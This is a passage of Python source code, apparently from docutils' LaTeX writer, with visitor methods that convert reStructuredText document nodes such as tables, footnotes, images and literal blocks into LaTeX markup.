raise nodes.SkipNode
def depart_comment(self, node):
pass
def visit_compound(self, node):
pass
def depart_compound(self, node):
pass
def visit_contact(self, node):
self.visit_docinfo_item(node, 'contact')
def depart_contact(self, node):
self.depart_docinfo_item(node)
def visit_container(self, node):
pass
def depart_container(self, node):
pass
def visit_copyright(self, node):
self.visit_docinfo_item(node, 'copyright')
def depart_copyright(self, node):
self.depart_docinfo_item(node)
def visit_date(self, node):
self.visit_docinfo_item(node, 'date')
def depart_date(self, node):
self.depart_docinfo_item(node)
def visit_decoration(self, node):
# header and footer
pass
def depart_decoration(self, node):
pass
def visit_definition(self, node):
pass
def depart_definition(self, node):
self.out.append('\n')
def visit_definition_list(self, node):
self.out.append( '%\n\\begin{description}\n' )
def depart_definition_list(self, node):
self.out.append( '\\end{description}\n' )
def visit_definition_list_item(self, node):
pass
def depart_definition_list_item(self, node):
pass
def visit_description(self, node):
self.out.append(' ')
def depart_description(self, node):
pass
def visit_docinfo(self, node):
self.push_output_collector(self.docinfo)
def depart_docinfo(self, node):
self.pop_output_collector()
# Some itmes (e.g. author) end up at other places
if self.docinfo:
# tabularx: automatic width of columns, no page breaks allowed.
self.requirements['tabularx'] = r'\usepackage{tabularx}'
self.fallbacks['_providelength'] = PreambleCmds.providelength
self.fallbacks['docinfo'] = PreambleCmds.docinfo
#
self.docinfo.insert(0, '\n% Docinfo\n'
'\\begin{center}\n'
'\\begin{tabularx}{\\DUdocinfowidth}{lX}\n')
self.docinfo.append('\\end{tabularx}\n'
'\\end{center}\n')
def visit_docinfo_item(self, node, name):
if name == 'author':
self.pdfauthor.append(self.attval(node.astext()))
if self.use_latex_docinfo:
if name in ('author', 'organization', 'contact', 'address'):
# We attach these to the last author. If any of them precedes
# the first author, put them in a separate "author" group
# (in lack of better semantics).
if name == 'author' or not self.author_stack:
self.author_stack.append([])
if name == 'address': # newlines are meaningful
self.insert_newline = True
text = self.encode(node.astext())
self.insert_newline = False
else:
text = self.attval(node.astext())
self.author_stack[-1].append(text)
raise nodes.SkipNode
elif name == 'date':
self.date.append(self.attval(node.astext()))
raise nodes.SkipNode
self.out.append('\\textbf{%s}: &\n\t' % self.language_label(name))
if name == 'address':
self.insert_newline = True
self.out.append('{\\raggedright\n')
self.context.append(' } \\\\\n')
else:
self.context.append(' \\\\\n')
def depart_docinfo_item(self, node):
self.out.append(self.context.pop())
# for address we did set insert_newline
self.insert_newline = False
def visit_doctest_block(self, node):
self.visit_literal_block(node)
def depart_doctest_block(self, node):
self.depart_literal_block(node)
def visit_document(self, node):
# titled document?
if (self.use_latex_docinfo or len(node) and
isinstance(node[0], nodes.title)):
self.title_labels += self.ids_to_labels(node, set_anchor=False)
def depart_document(self, node):
# Complete header with information gained from walkabout
# * language setup
if (self.babel.otherlanguages or
self.babel.language not in ('', 'english')):
self.requirements['babel'] = self.babel()
# * conditional requirements (before style sheet)
self.requirements = self.requirements.sortedvalues()
# * coditional fallback definitions (after style sheet)
self.fallbacks = self.fallbacks.sortedvalues()
# * PDF properties
self.pdfsetup.append(PreambleCmds.linking % self.hyperref_options)
if self.pdfauthor:
authors = self.author_separator.join(self.pdfauthor)
self.pdfinfo.append(' pdfauthor={%s}' % authors)
if self.pdfinfo:
self.pdfsetup += [r'\hypersetup{'] + self.pdfinfo + ['}']
# Complete body
# * document title (with "use_latex_docinfo" also
# 'author', 'organization', 'contact', 'address' and 'date')
if self.title or (
self.use_latex_docinfo and (self.author_stack or self.date)):
# with the default template, titledata is written to the preamble
self.titledata.append('%%% Title Data')
# \title (empty \title prevents error with \maketitle)
if self.title:
self.title.insert(0, '\phantomsection%\n ')
title = [''.join(self.title)] + self.title_labels
if self.subtitle:
title += [r'\\ % subtitle',
r'\DUdocumentsubtitle{%s}' % ''.join(self.subtitle)
] + self.subtitle_labels
self.titledata.append(r'\title{%s}' % '%\n '.join(title))
# \author (empty \author prevents warning with \maketitle)
authors = ['\\\\\n'.join(author_entry)
for author_entry in self.author_stack]
self.titledata.append(r'\author{%s}' %
' \\and\n'.join(authors))
# \date (empty \date prevents defaulting to \today)
self.titledata.append(r'\date{%s}' % ', '.join(self.date))
# \maketitle in the body formats title with LaTeX
self.body_pre_docinfo.append('\\maketitle\n')
# * bibliography
# TODO insertion point of bibliography should be configurable.
if self._use_latex_citations and len(self._bibitems)>0:
if not self.bibtex:
widest_label = ''
for bi in self._bibitems:
if len(widest_label)<len(bi[0]):
widest_label = bi[0]
self.out.append('\n\\begin{thebibliography}{%s}\n' %
widest_label)
for bi in self._bibitems:
# cite_key: underscores must not be escaped
cite_key = bi[0].replace(r'\_','_')
self.out.append('\\bibitem[%s]{%s}{%s}\n' %
(bi[0], cite_key, bi[1]))
self.out.append('\\end{thebibliography}\n')
else:
self.out.append('\n\\bibliographystyle{%s}\n' %
self.bibtex[0])
self.out.append('\\bibliography{%s}\n' % self.bibtex[1])
# * make sure to generate a toc file if needed for local contents:
if 'minitoc' in self.requirements and not self.has_latex_toc:
self.out.append('\n\\faketableofcontents % for local ToCs\n')
def visit_emphasis(self, node):
self.out.append('\\emph{')
if node['classes']:
self.visit_inline(node)
def depart_emphasis(self, node):
if node['classes']:
self.depart_inline(node)
self.out.append('}')
# Append column delimiters and advance column counter,
# if the current cell is a multi-row continuation."""
def insert_additional_table_colum_delimiters(self):
while self.active_table.get_rowspan(
self.active_table.get_entry_number()):
self.out.append(' & ')
self.active_table.visit_entry() # increment cell count
def visit_entry(self, node):
# cell separation
if self.active_table.get_entry_number() == 0:
self.insert_additional_table_colum_delimiters()
else:
self.out.append(' & ')
# multirow, multicolumn
if 'morerows' in node and 'morecols' in node:
raise NotImplementedError('Cells that '
'span multiple rows *and* columns currently not supported, sorry.')
# TODO: should be possible with LaTeX, see e.g.
# http://texblog.org/2012/12/21/multi-column-and-multi-row-cells-in-latex-tables/
# multirow in LaTeX simply will enlarge the cell over several rows
# (the following n if n is positive, the former if negative).
if 'morerows' in node:
self.requirements['multirow'] = r'\usepackage{multirow}'
mrows = node['morerows'] + 1
self.active_table.set_rowspan(
self.active_table.get_entry_number(), mrows)
self.out.append('\\multirow{%d}{%s}{' %
(mrows, self.active_table.get_column_width()))
self.context.append('}')
elif 'morecols' in node:
# the vertical bar before column is missing if it is the first
# column. the one after always.
if self.active_table.get_entry_number() == 0:
bar1 = self.active_table.get_vertical_bar()
else:
bar1 = ''
mcols = node['morecols'] + 1
self.out.append('\\multicolumn{%d}{%s%s%s}{' %
(mcols, bar1,
self.active_table.get_multicolumn_width(
self.active_table.get_entry_number(),
mcols),
self.active_table.get_vertical_bar()))
self.context.append('}')
else:
self.context.append('')
# bold header/stub-column
if len(node) and (isinstance(node.parent.parent, nodes.thead)
or self.active_table.is_stub_column()):
self.out.append('\\textbf{')
self.context.append('}')
else:
self.context.append('')
# if line ends with '{', mask line break to prevent spurious whitespace
if not self.active_table.colwidths_auto and self.out[-1].endswith("{"):
self.out.append("%")
self.active_table.visit_entry() # increment cell count
def depart_entry(self, node):
self.out.append(self.context.pop()) # header / not header
self.out.append(self.context.pop()) # multirow/column
# insert extra "&"s, if following rows are spanned from above:
self.insert_additional_table_colum_delimiters()
def visit_row(self, node):
self.active_table.visit_row()
def depart_row(self, node):
self.out.extend(self.active_table.depart_row())
def visit_enumerated_list(self, node):
# enumeration styles:
types = {'': '',
'arabic':'arabic',
'loweralpha':'alph',
'upperalpha':'Alph',
'lowerroman':'roman',
'upperroman':'Roman'}
# the 4 default LaTeX enumeration labels: präfix, enumtype, suffix,
labels = [('', 'arabic', '.'), # 1.
('(', 'alph', ')'), # (a)
('', 'roman', '.'), # i.
('', 'Alph', '.')] # A.
prefix = ''
if self.compound_enumerators:
if (self.section_prefix_for_enumerators and self.section_level
and not self._enumeration_counters):
prefix = '.'.join([str(n) for n in
self._section_number[:self.section_level]]
) + self.section_enumerator_separator
if self._enumeration_counters:
prefix += self._enumeration_counters[-1]
# TODO: use LaTeX default for unspecified label-type?
# (needs change of parser)
prefix += node.get('prefix', '')
enumtype = types[node.get('enumtype' '')]
suffix = node.get('suffix', '')
enumeration_level = len(self._enumeration_counters)+1
counter_name = 'enum' + roman.toRoman(enumeration_level).lower()
label = r'%s\%s{%s}%s' % (prefix, enumtype, counter_name, suffix)
self._enumeration_counters.append(label)
if enumeration_level <= 4:
self.out.append('\\begin{enumerate}\n')
if (prefix, enumtype, suffix
) != labels[enumeration_level-1]:
self.out.append('\\renewcommand{\\label%s}{%s}\n' %
(counter_name, label))
else:
self.fallbacks[counter_name] = '\\newcounter{%s}' % counter_name
self.out.append('\\begin{list}')
self.out.append('{%s}' % label)
self.out.append('{\\usecounter{%s}}\n' % counter_name)
if 'start' in node:
self.out.append('\\setcounter{%s}{%d}\n' %
(counter_name,node['start']-1))
# ## set rightmargin equal to leftmargin
# self.out.append('\\setlength{\\rightmargin}{\\leftmargin}\n')
def depart_enumerated_list(self, node):
if len(self._enumeration_counters) <= 4:
self.out.append('\\end{enumerate}\n')
else:
self.out.append('\\end{list}\n')
self._enumeration_counters.pop()
def visit_field(self, node):
# real output is done in siblings: _argument, _body, _name
pass
def depart_field(self, node):
self.out.append('\n')
##self.out.append('%[depart_field]\n')
def visit_field_argument(self, node):
self.out.append('%[visit_field_argument]\n')
def depart_field_argument(self, node):
self.out.append('%[depart_field_argument]\n')
def visit_field_body(self, node):
pass
def depart_field_body(self, node):
if self.out is self.docinfo:
self.out.append(r'\\')
def visit_field_list(self, node):
if self.out is not self.docinfo:
self.fallbacks['fieldlist'] = PreambleCmds.fieldlist
self.out.append('%\n\\begin{DUfieldlist}\n')
def depart_field_list(self, node):
if self.out is not self.docinfo:
self.out.append('\\end{DUfieldlist}\n')
def visit_field_name(self, node):
if self.out is self.docinfo:
self.out.append('\\textbf{')
else:
# Commands with optional args inside an optional arg must be put
# in a group, e.g. ``\item[{\hyperref[label]{text}}]``.
self.out.append('\\item[{')
def depart_field_name(self, node):
if self.out is self.docinfo:
self.out.append('}: &')
else:
self.out.append(':}]')
def visit_figure(self, node):
self.requirements['float_settings'] = PreambleCmds.float_settings
# The 'align' attribute sets the "outer alignment",
# for "inner alignment" use LaTeX default alignment (similar to HTML)
alignment = node.attributes.get('align', 'center')
if alignment != 'center':
# The LaTeX "figure" environment always uses the full linewidth,
# so "outer alignment" is ignored. Just write a comment.
# TODO: use the wrapfigure environment?
self.out.append('\n\\begin{figure} %% align = "%s"\n' % alignment)
else:
self.out.append('\n\\begin{figure}\n')
if node.get('ids'):
self.out += self.ids_to_labels(node) + ['\n']
def depart_figure(self, node):
self.out.append('\\end{figure}\n')
def visit_footer(self, node):
self.push_output_collector([])
self.out.append(r'\newcommand{\DUfooter}{')
def depart_footer(self, node):
self.out.append('}')
self.requirements['~footer'] = ''.join(self.out)
self.pop_output_collector()
def visit_footnote(self, node):
try:
backref = node['backrefs'][0]
except IndexError:
backref = node['ids'][0] # no backref, use self-ref instead
if self.docutils_footnotes:
self.fallbacks['footnotes'] = PreambleCmds.footnotes
num = node[0].astext()
if self.settings.footnote_references == 'brackets':
num = '[%s]' % num
self.out.append('%%\n\\DUfootnotetext{%s}{%s}{%s}{' %
(node['ids'][0], backref, self.encode(num)))
if node['ids'] == node['names']:
self.out += self.ids_to_labels(node)
# mask newline to prevent spurious whitespace if paragraph follows:
if node[1:] and isinstance(node[1], nodes.paragraph):
self.out.append('%')
## else: # TODO: "real" LaTeX \footnote{}s
def depart_footnote(self, node):
self.out.append('}\n')
def visit_footnote_reference(self, node):
href = ''
if 'refid' in node:
href = node['refid']
elif 'refname' in node:
href = self.document.nameids[node['refname']]
# if not self.docutils_footnotes:
# TODO: insert footnote content at (or near) this place
# print "footnote-ref to", node['refid']
# footnotes = (self.document.footnotes +
# self.document.autofootnotes +
# self.document.symbol_footnotes)
# for footnote in footnotes:
# # print footnote['ids']
# if node.get('refid', '') in footnote['ids']:
# print 'matches', footnote['ids']
format = self.settings.footnote_references
if format == 'brackets':
self.append_hypertargets(node)
self.out.append('\\hyperlink{%s}{[' % href)
self.context.append(']}')
else:
self.fallbacks['footnotes'] = PreambleCmds.footnotes
self.out.append(r'\DUfootnotemark{%s}{%s}{' %
(node['ids'][0], href))
self.context.append('}')
def depart_footnote_reference(self, node):
self.out.append(self.context.pop())
# footnote/citation label
def label_delim(self, node, bracket, superscript):
if isinstance(node.parent, nodes.footnote):
raise nodes.SkipNode
else:
assert isinstance(node.parent, nodes.citation)
if not self._use_latex_citations:
self.out.append(bracket)
def visit_label(self, node):
"""footnote or citation label: in brackets or as superscript"""
self.label_delim(node, '[', '\\textsuperscript{')
def depart_label(self, node):
self.label_delim(node, ']', '}')
# elements generated by the framework e.g. section numbers.
def visit_generated(self, node):
pass
def depart_generated(self, node):
pass
def visit_header(self, node):
self.push_output_collector([])
self.out.append(r'\newcommand{\DUheader}{')
def depart_header(self, node):
self.out.append('}')
self.requirements['~header'] = ''.join(self.out)
self.pop_output_collector()
def to_latex_length(self, length_str, pxunit=None):
"""Convert `length_str` with rst lenght to LaTeX length
"""
if pxunit is not None:
sys.stderr.write('deprecation warning: LaTeXTranslator.to_latex_length()'
' option `pxunit` will be removed.')
match = re.match('(\d*\.?\d*)\s*(\S*)', length_str)
if not match:
return length_str
value, unit = match.groups()[:2]
# no unit or "DTP" points (called 'bp' in TeX):
if unit in ('', 'pt'):
length_str = '%sbp' % value
# percentage: relate to current line width
elif unit == '%':
length_str = '%.3f\\linewidth' % (float(value)/100.0)
elif self.is_xetex and unit == 'px':
# XeTeX does not know the length unit px.
# Use \pdfpxdimen, the macro to set the value of 1 px in pdftex.
# This way, configuring works the same for pdftex and xetex.
self.fallbacks['_providelength'] = PreambleCmds.providelength
self.fallbacks['px'] = '\n\\DUprovidelength{\\pdfpxdimen}{1bp}\n'
length_str = r'%s\pdfpxdimen' % value
return length_str
def visit_image(self, node):
self.requirements['graphicx'] = self.graphicx_package
attrs = node.attributes
# Convert image URI to a local file path
imagepath = urllib.url2pathname(attrs['uri']).replace('\\', '/')
# alignment defaults:
if not 'align' in attrs:
# Set default align of image in a figure to 'center'
if isinstance(node.parent, nodes.figure):
attrs['align'] = 'center'
# query 'align-*' class argument
for cls in node['classes']:
if cls.startswith('align-'):
attrs['align'] = cls.split('-')[1]
# pre- and postfix (prefix inserted in reverse order)
pre = []
post = []
include_graphics_options = []
align_codes = {
# inline images: by default latex aligns the bottom.
'bottom': ('', ''),
'middle': (r'\raisebox{-0.5\height}{', '}'),
'top': (r'\raisebox{-\height}{', '}'),
# block level images:
'center': (r'\noindent\makebox[\linewidth][c]{', '}'),
'left': (r'\noindent{', r'\hfill}'),
'right': (r'\noindent{\hfill', '}'),}
if 'align' in attrs:
# TODO: warn or ignore non-applicable alignment settings?
try:
align_code = align_codes[attrs['align']]
pre.append(align_code[0])
post.append(align_code[1])
except KeyError:
pass # TODO: warn?
if 'height' in attrs:
include_graphics_options.append('height=%s' %
self.to_latex_length(attrs['height']))
if 'scale' in attrs:
include_graphics_options.append('scale=%f' %
(attrs['scale'] / 100.0))
if 'width' in attrs:
include_graphics_options.append('width=%s' %
self.to_latex_length(attrs['width']))
if not (self.is_inline(node) or
isinstance(node.parent, nodes.figure)):
pre.append('\n')
post.append('\n')
pre.reverse()
self.out.extend(pre)
options = ''
if include_graphics_options:
options = '[%s]' % (','.join(include_graphics_options))
self.out.append('\\includegraphics%s{%s}' % (options, imagepath))
self.out.extend(post)
def depart_image(self, node):
if node.get('ids'):
self.out += self.ids_to_labels(node) + ['\n']
def visit_inline(self, node): # <span>, i.e. custom roles
self.context.append('}' * len(node['classes']))
for cls in node['classes']:
if cls == 'align-center':
self.fallbacks['align-center'] = PreambleCmds.align_center
if cls.startswith('language-'):
language = self.babel.language_name(cls[9:])
if language:
self.babel.otherlanguages[language] = True
self.out.append(r'\foreignlanguage{%s}{' % language)
else:
self.fallbacks['inline'] = PreambleCmds.inline
self.out.append(r'\DUrole{%s}{' % cls)
def depart_inline(self, node):
self.out.append(self.context.pop())
def visit_interpreted(self, node):
# @@@ Incomplete, pending a proper implementation on the
# Parser/Reader end.
self.visit_literal(node)
def depart_interpreted(self, node):
self.depart_literal(node)
def visit_legend(self, node):
self.fallbacks['legend'] = PreambleCmds.legend
self.out.append('\\begin{DUlegend}')
def depart_legend(self, node):
self.out.append('\\end{DUlegend}\n')
def visit_line(self, node):
self.out.append('\item[] ')
def depart_line(self, node):
self.out.append('\n')
def visit_line_block(self, node):
self.fallbacks['_providelength'] = PreambleCmds.providelength
self.fallbacks['lineblock'] = PreambleCmds.lineblock
if isinstance(node.parent, nodes.line_block):
self.out.append('\\item[]\n'
'\\begin{DUlineblock}{\\DUlineblockindent}\n')
else:
self.out.append('\n\\begin{DUlineblock}{0em}\n')
if node['classes']:
self.visit_inline(node)
self.out.append('\n')
def depart_line_block(self, node):
if node['classes']:
self.depart_inline(node)
self.out.append('\n')
self.out.append('\\end{DUlineblock}\n')
def visit_list_item(self, node):
self.out.append('\n\\item ')
def depart_list_item(self, node):
pass
def visit_literal(self, node):
self.literal = True
if 'code' in node['classes'] and (
self.settings.syntax_highlight != 'none'):
self.requirements['color'] = PreambleCmds.color
self.fallbacks['code'] = PreambleCmds.highlight_rules
self.out.append('\\texttt{')
if node['classes']:
self.visit_inline(node)
def depart_literal(self, node):
self.literal = False
if node['classes']:
self.depart_inline(node)
self.out.append('}')
# Literal blocks are used for '::'-prefixed literal-indented
# blocks of text, where the inline markup is not recognized,
# but are also the product of the "parsed-literal" directive,
# where the markup is respected.
#
# In both cases, we want to use a typewriter/monospaced typeface.
# For "real" literal-blocks, we can use \verbatim, while for all
# the others we must use \mbox or \alltt.
#
# We can distinguish between the two kinds by the number of
# siblings that compose this node: if it is composed by a
# single element, it's either
# * a real one,
# * a parsed-literal that does not contain any markup, or
# * a parsed-literal containing just one markup construct.
def is_plaintext(self, node):
"""Check whether a node can be typeset verbatim"""
return (len(node) == 1) and isinstance(node[0], nodes.Text)
def visit_literal_block(self, node):
"""Render a literal block."""
# environments and packages to typeset literal blocks
packages = {'alltt': r'\usepackage{alltt}',
'listing': r'\usepackage{moreverb}',
'lstlisting': r'\usepackage{listings}',
'Verbatim': r'\usepackage{fancyvrb}',
# 'verbatim': '',
'verbatimtab': r'\usepackage{moreverb}'}
if node.get('ids'):
self.out += ['\n'] + self.ids_to_labels(node)
if not self.active_table.is_open():
# no quote inside tables, to avoid vertical space between
# table border and literal block.
# TODO: fails if normal text precedes the literal block.
# check parent node instead?
self.out.append('%\n\\begin{quote}\n')
self.context.append('\n\\end{quote}\n')
else:
self.out.append('\n')
self.context.append('\n')
if self.is_plaintext(node):
environment = self.literal_block_env
self.requirements['literal_block'] = packages.get(environment, '')
if environment == 'alltt':
self.alltt = True
else:
self.verbatim = True
self.out.append('\\begin{%s}%s\n' %
(environment, self.literal_block_options))
self.context.append('\n\\end{%s}' % environment)
else:
self.literal = True
self.insert_newline = True
self.insert_non_breaking_blanks = True
if 'code' in node['classes'] and (
self.settings.syntax_highlight != 'none'):
self.requirements['color'] = PreambleCmds.color
self.fallbacks['code'] = PreambleCmds.highlight_rules
self.out.append('{\\ttfamily \\raggedright \\noindent\n')
self.context.append('\n}')
def depart_literal_block(self, node):
self.insert_non_breaking_blanks = False
self.insert_newline = False
self.literal = False
self.verbatim = False
self.alltt = False
self.out.append(self.context.pop())
self.out.append(self.context.pop())
## def visit_meta(self, node):
## self.out.append('[visit_meta]\n')
# TODO: set keywords for pdf?
# But:
# The reStructuredText "meta" directive creates a "pending" node,
# which contains knowledge that the embedded "meta" node can only
# be handled by HTML-compatible writers. The "pending" node is
# resolved by the docutils.transforms.components.Filter transform,
# which checks that the calling writer supports HTML; if it doesn't,
# the "pending" node (and enclosed "meta" node) is removed from the
# document.
# --- docutils/docs/peps/pep-0258.html#transformer
## def depart_meta(self, node):
## self.out.append('[depart_meta]\n')
def visit_math(self, node, math_env='$'):
"""math role"""
if node['classes']:
self.visit_inline(node)
self.requirements['amsmath'] = r'\usepackage{amsmath}'
math_code = node.astext().translate(unichar2tex.uni2tex_table)
if node.get('ids'):
math_code = '\n'.join([math_code] + self.ids_to_labels(node))
if math_env == '$':
if self.alltt:
wrapper = u'\(%s\)'
else:
wrapper = u'$%s$'
else:
wrapper = u'\n'.join(['%%',
r'\begin{%s}' % math_env,
'%s',
r'\end{%s}' % math_env])
# print repr(wrapper), repr(math_code)
self.out.append(wrapper % math_code)
if node['classes']:
self.depart_inline(node)
# Content already processed:
raise nodes.SkipNode
def depart_math(self, node):
pass # never reached
def visit_math_block(self, node):
math_env = pick_math_environment(node.astext())
self.visit_math(node, math_env=math_env)
def depart_math_block(self, node):
pass # never reached
def visit_option(self, node):
if self.context[-1]:
# this is not the first option
self.out.append(', ')
def depart_option(self, node):
# flag that the first option is done.
self.context[-1] += 1
def visit_option_argument(self, node):
"""Append the delimiter betweeen an option and its argument to body."""
self.out.append(node.get('delimiter', ' '))
def depart_option_argument(self, node):
pass
def visit_option_group(self, node):
self.out.append('\n\\item[')
# flag for first option
self.context.append(0)
def depart_option_group(self, node):
self.context.pop() # the flag
self.out.append('] ')
def visit_option_list(self, node):
self.fallbacks['_providelength'] = PreambleCmds.providelength
self.fallbacks['optionlist'] = PreambleCmds.optionlist
self.out.append('%\n\\begin{DUoptionlist}\n')
def depart_option_list(self, node):
self.out.append('\n\\end{DUoptionlist}\n')
def visit_option_list_item(self, node):
pass
def depart_option_list_item(self, node):
pass
def visit_option_string(self, node):
##self.out.append(self.starttag(node, 'span', '', CLASS='option'))
pass
def depart_option_string(self, node):
##self.out.append('</span>')
pass
def visit_organization(self, node):
self.visit_docinfo_item(node, 'organization')
def depart_organization(self, node):
self.depart_docinfo_item(node)
def visit_paragraph(self, node):
# insert blank line, unless
# * the paragraph is first in a list item,
# * follows a non-paragraph node in a compound,
# * is in a table with auto-width columns
index = node.parent.index(node)
if (index == 0 and (isinstance(node.parent, nodes.list_item) or
isinstance(node.parent, nodes.description))):
pass
elif (index > 0 and isinstance(node.parent, nodes.compound) and
not isinstance(node.parent[index - 1], nodes.paragraph) and
not isinstance(node.parent[index - 1], nodes.compound)):
pass
elif self.active_table.colwidths_auto:
if index == 1: # second paragraph
self.warn('LaTeX merges paragraphs in tables '
'with auto-sized columns!', base_node=node)
if index > 0:
self.out.append('\n')
else:
self.out.append('\n')
if node.get('ids'):
self.out += self.ids_to_labels(node) + ['\n']
if node['classes']:
self.visit_inline(node)
def depart_paragraph(self, node):
if node['classes']:
self.depart_inline(node)
if not self.active_table.colwidths_auto:
self.out.append('\n')
def visit_problematic(self, node):
self.requirements['color'] = PreambleCmds.color
self.out.append('%\n')
self.append_hypertargets(node)
self.out.append(r'\hyperlink{%s}{\textbf{\color{red}' % node['refid'])
def depart_problematic(self, node):
self.out.append('}}')
def visit_raw(self, node):
if not 'latex' in node.get('format', '').split():
raise nodes.SkipNode
if not self.is_inline(node):
self.out.append('\n')
if node['classes']:
self.visit_inline(node)
# append "as-is" skipping any LaTeX-encoding
self.verbatim = True
def depart_raw(self, node):
self.verbatim = False
if node['classes']:
self.depart_inline(node)
if not self.is_inline(node):
self.out.append('\n')
def has_unbalanced_braces(self, string):
"""Test whether there are unmatched '{' or '}' characters."""
level = 0
for ch in string:
if ch == '{':
level += 1
if ch == '}':
level -= 1
if level < 0:
return True
return level != 0
def visit_reference(self, node):
# We need to escape #, \, and % if we use the URL in a command.
special_chars = {ord('#'): ur'\#',
ord('%'): ur'\%',
ord('\\'): ur'\\',
}
# external reference (URL)
if 'refuri' in node:
href = unicode(node['refuri']).translate(special_chars)
# problematic chars double caret and unbalanced braces:
if href.find('^^') != -1 or self.has_unbalanced_braces(href):
self.error(
'External link "%s" not supported by LaTeX.\n'
' (Must not contain "^^" or unbalanced braces.)' % href)
if node['refuri'] == node.astext():
self.out.append(r'\url{%s}' % href)
raise nodes.SkipNode
self.out.append(r'\href{%s}{' % href)
return
# internal reference
if 'refid' in node:
href = node['refid']
elif 'refname' in node:
href = self.document.nameids[node['refname']]
else:
raise AssertionError('Unknown reference.')
if not self.is_inline(node):
self.out.append('\n')
self.out.append('\\hyperref[%s]{' % href)
if self._reference_label:
self.out.append('\\%s{%s}}' %
(self._reference_label, href.replace('#', '')))
raise nodes.SkipNode
def depart_reference(self, node):
self.out.append('}')
if not self.is_inline(node):
self.out.append('\n')
def visit_revision(self, node):
self.visit_docinfo_item(node, 'revision')
def depart_revision(self, node):
self.depart_docinfo_item(node)
def visit_section(self, node):
self.section_level += 1
# Initialize counter for potential subsections:
self._section_number.append(0)
# Counter for this section's level (initialized by parent section):
self._section_number[self.section_level - 1] += 1
def depart_section(self, node):
# Remove counter for potential subsections:
self._section_number.pop()
self.section_level -= 1
def visit_sidebar(self, node):
self.requirements['color'] = PreambleCmds.color
self.fallbacks['sidebar'] = PreambleCmds.sidebar
self.out.append('\n\\DUsidebar{\n')
def depart_sidebar(self, node):
self.out.append('}\n')
attribution_formats = {'dash': (u'—', ''), # EM DASH
'parentheses': ('(', ')'),
'parens': ('(', ')'),
'none': ('', '')}
def visit_attribution(self, node):
prefix, suffix = self.attribution_formats[self.settings.attribution]
self.out.append('\\nopagebreak\n\n\\raggedleft ')
self.out.append(prefix)
self.context.append(suffix)
def depart_attribution(self, node):
self.out.append(self.context.pop() + '\n')
def visit_status(self, node):
self.visit_docinfo_item(node, 'status')
def depart_status(self, node):
self.depart_docinfo_item(node)
def visit_strong(self, node):
self.out.append('\\textbf{')
if node['classes']:
self.visit_inline(node)
def depart_strong(self, node):
if node['classes']:
self.depart_inline(node)
self.out.append('}')
def visit_substitution_definition(self, node):
raise nodes.SkipNode
def visit_substitution_reference(self, node):
self.unimplemented_visit(node)
def visit_subtitle(self, node):
if isinstance(node.parent, nodes.document):
self.push_output_collector(self.subtitle)
self.fallbacks['documentsubtitle'] = PreambleCmds.documentsubtitle
self.subtitle_labels += self.ids_to_labels(node, set_anchor=False)
# section subtitle: "starred" (no number, not in ToC)
elif isinstance(node.parent, nodes.section):
self.out.append(r'\%s*{' %
self.d_class.section(self.section_level + 1))
else:
self.fallbacks['subtitle'] = PreambleCmds.subtitle
self.out.append('\n\\DUsubtitle[%s]{' % node.parent.tagname)
def depart_subtitle(self, node):
if isinstance(node.parent, nodes.document):
self.pop_output_collector()
else:
self.out.append('}\n')
def visit_system_message(self, node):
self.requirements['color'] = PreambleCmds.color
self.fallbacks['title'] = PreambleCmds.title
node['classes'] = ['system-message']
self.visit_admonition(node)
self.out.append('\\DUtitle[system-message]{system-message}\n')
self.append_hypertargets(node)
try:
line = ', line~%s' % node['line']
except KeyError:
line = ''
self.out.append('\n\n{\color{red}%s/%s} in \\texttt{%s}%s\n' %
(node['type'], node['level'],
self.encode(node['source']), line))
if len(node['backrefs']) == 1:
self.out.append('\n\\hyperlink{%s}{' % node['backrefs'][0])
self.context.append('}')
else:
backrefs = ['\\hyperlink{%s}{%d}' % (href, i+1)
for (i, href) in enumerate(node['backrefs'])]
self.context.append('backrefs: ' + ' '.join(backrefs))
def depart_system_message(self, node):
self.out.append(self.context.pop())
self.depart_admonition()
def visit_table(self, node):
self.requirements['table'] = PreambleCmds.table
if self.active_table.is_open():
self.table_stack.append(self.active_table)
# nesting longtable does not work (e.g. 2007-04-18)
self.active_table = Table(self,'tabular')
# A longtable moves before \paragraph and \subparagraph
# section titles if it immediately follows them:
if (self.active_table._latex_type == 'longtable' and
isinstance(node.parent, nodes.section) and
node.parent.index(node) == 1 and
self.d_class.section(self.section_level).find('paragraph') != -1):
self.out.append('\\leavevmode')
self.active_table.open()
self.active_table.set_table_style(self.settings.table_style,
node['classes'])
if 'align' in node:
self.active_table.set('align', node['align'])
if self.active_table.borders == 'booktabs':
self.requirements['booktabs'] = r'\usepackage{booktabs}'
self.push_output_collector([])
def depart_table(self, node):
# wrap content in the right environment:
content = self.out
self.pop_output_collector()
self.out.append('\n' + self.active_table.get_opening())
self.out += content
self.out.append(self.active_table.get_closing() + '\n')
self.active_table.close()
if len(self.table_stack)>0:
self.active_table = self.table_stack.pop()
# Insert hyperlabel after (long)table, as
# other places (beginning, caption) result in LaTeX errors.
if node.get('ids'):
self.out += self.ids_to_labels(node, set_anchor=False) + ['\n']
def visit_target(self, node):
# Skip indirect targets:
if ('refuri' in node # external hyperlink
or 'refid' in node # resolved internal link
or 'refname' in node): # unresolved internal link
## self.out.append('%% %s\n' % node) # for debugging
return
self.out.append('%\n')
# do we need an anchor (\phantomsection)?
set_anchor = not(isinstance(node.parent, nodes.caption) or
isinstance(node.parent, nodes.title))
# TODO: where else can/must we omit the \phantomsection?
self.out += self.ids_to_labels(node, set_anchor)
def depart_target(self, node):
pass
def visit_tbody(self, node):
# BUG write preamble if not yet done (colspecs not [])
# for tables without heads.
if not self.active_table.get('preamble written'):
self.visit_thead(node)
self.depart_thead(None)
def depart_tbody(self, node):
pass
def visit_term(self, node):
"""definition list term"""
# Commands with optional args inside an optional arg must be put
# in a group, e.g. ``\item[{\hyperref[label]{text}}]``.
self.out.append('\\item[{')
def depart_term(self, node):
# \leavevmode results in a line break if the
# term is followed by an item list.
self.out.append('}] \leavevmode ')
def visit_tgroup(self, node):
#self.out.append(self.starttag(node, 'colgroup'))
#self.context.append('</colgroup>\n')
pass
def depart_tgroup(self, node):
pass
_thead_depth = 0
def thead_depth (self):
return self._thead_depth
def visit_thead(self, node):
self._thead_depth += 1
if 1 == self.thead_depth():
self.out.append('{%s}\n' % self.active_table.get_colspecs(node))
self.active_table.set('preamble written',1)
self.out.append(self.active_table.get_caption())
self.out.extend(self.active_table.visit_thead())
def depart_thead(self, node):
if node is not None:
self.out.extend(self.active_table.depart_thead())
if self.active_table.need_recurse():
node.walkabout(self)
self._thead_depth -= 1
def visit_title(self, node):
"""Append section and other titles."""
